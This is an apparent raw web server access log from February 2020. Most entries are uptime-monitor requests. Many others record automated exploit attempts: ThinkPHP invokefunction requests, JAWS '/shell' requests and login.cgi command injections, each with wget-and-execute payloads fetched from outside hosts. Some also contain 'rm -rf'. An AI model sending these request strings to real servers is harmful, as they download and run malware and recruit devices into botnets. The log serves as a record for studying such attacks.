212.91.246.72 - - [08/Feb/2020:18:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.35.175.105 - - [08/Feb/2020:18:58:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:18:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.224.182.97 - - [08/Feb/2020:18:59:38 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:18:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
76.173.24.43 - - [08/Feb/2020:19:00:39 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:19:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.102.221.72 - - [08/Feb/2020:19:01:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:19:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.135.94 - - [08/Feb/2020:19:03:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:19:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.36.161 - - [08/Feb/2020:19:04:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.10.113 - - [08/Feb/2020:19:04:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:19:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.92.172.55 - - [08/Feb/2020:19:06:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:19:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
108.217.250.135 - - [08/Feb/2020:19:07:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:19:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.193.234.142 - - [08/Feb/2020:19:10:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:19:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.92.163 - - [08/Feb/2020:19:11:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:19:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.28.111.56 - - [08/Feb/2020:19:14:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [08/Feb/2020:19:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.150.83.253 - - [08/Feb/2020:19:17:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:19:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.246.253.35 - - [08/Feb/2020:19:19:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:19:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.28.0.172 - - [08/Feb/2020:19:21:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:19:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.205.9.46 - - [08/Feb/2020:19:22:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:19:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
206.189.48.196 - - [08/Feb/2020:19:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:19:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
158.140.170.159 - - [08/Feb/2020:19:25:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:19:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
65.24.36.202 - - [08/Feb/2020:19:26:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:19:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.120.219.240 - - [08/Feb/2020:19:27:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [08/Feb/2020:19:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.48.83.5 - - [08/Feb/2020:19:27:51 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:19:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.153.149.104 - - [08/Feb/2020:19:29:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:19:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.58.30.76 - - [08/Feb/2020:19:35:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.172.227.88 - - [08/Feb/2020:19:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:19:35:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.180.31.164 - - [08/Feb/2020:19:36:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [08/Feb/2020:19:36:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.252.118.44 - - [08/Feb/2020:19:37:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:19:37:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:38:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:39:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:40:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:41:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:42:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:43:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:44:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:45:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:46:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.209.89 - - [08/Feb/2020:19:46:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:19:47:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.59.21 - - [08/Feb/2020:19:47:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:19:48:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.159.106 - - [08/Feb/2020:19:48:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.158.49.85 - - [08/Feb/2020:19:49:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:19:49:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:50:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.240.236 - - [08/Feb/2020:19:51:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.94.144.137 - - [08/Feb/2020:19:51:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.111.40.72 - - [08/Feb/2020:19:51:40 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.111.40.72 - - [08/Feb/2020:19:51:40 +0100] "Gh0st\xad" 501 321 "-" "-"
212.111.40.72 - - [08/Feb/2020:19:51:43 +0100] "HELP" 501 319 "-" "-"
212.111.40.72 - - [08/Feb/2020:19:51:43 +0100] "\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc" 501 350 "-" "-"
212.111.40.72 - - [08/Feb/2020:19:51:45 +0100] "\x16\x03\x01" 501 318 "-" "-"
212.91.246.72 - - [08/Feb/2020:19:51:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.111.40.72 - - [08/Feb/2020:19:51:47 +0100] "\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff" 400 329 "-" "-"
220.77.199.108 - - [08/Feb/2020:19:52:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:19:52:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
23.239.11.113 - - [08/Feb/2020:19:52:58 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
220.121.0.69 - - [08/Feb/2020:19:53:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [08/Feb/2020:19:53:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [08/Feb/2020:19:53:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [08/Feb/2020:19:53:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
85.158.36.222 - - [08/Feb/2020:19:53:40 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:19:53:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [08/Feb/2020:19:53:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
47.254.213.81 - - [08/Feb/2020:19:54:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:19:54:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.40.162.45 - - [08/Feb/2020:19:55:00 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:19:55:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.156.219.164 - - [08/Feb/2020:19:56:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
82.221.105.7 - - [08/Feb/2020:19:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
82.221.105.7 - - [08/Feb/2020:19:56:30 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
82.221.105.7 - - [08/Feb/2020:19:56:30 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
82.221.105.7 - - [08/Feb/2020:19:56:30 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
82.221.105.7 - - [08/Feb/2020:19:56:31 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.10.0"
212.91.246.72 - - [08/Feb/2020:19:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:57:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:58:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:19:59:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.82.172.254 - - [08/Feb/2020:19:59:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:20:00:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:01:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:02:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:03:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:04:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.189.208.61 - - [08/Feb/2020:20:04:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [08/Feb/2020:20:05:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.210.169.121 - - [08/Feb/2020:20:06:41 +0100] "GET http://45.76.45.209/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
212.91.246.72 - - [08/Feb/2020:20:06:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.126.72.52 - - [08/Feb/2020:20:07:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:20:07:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:08:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:09:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:10:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
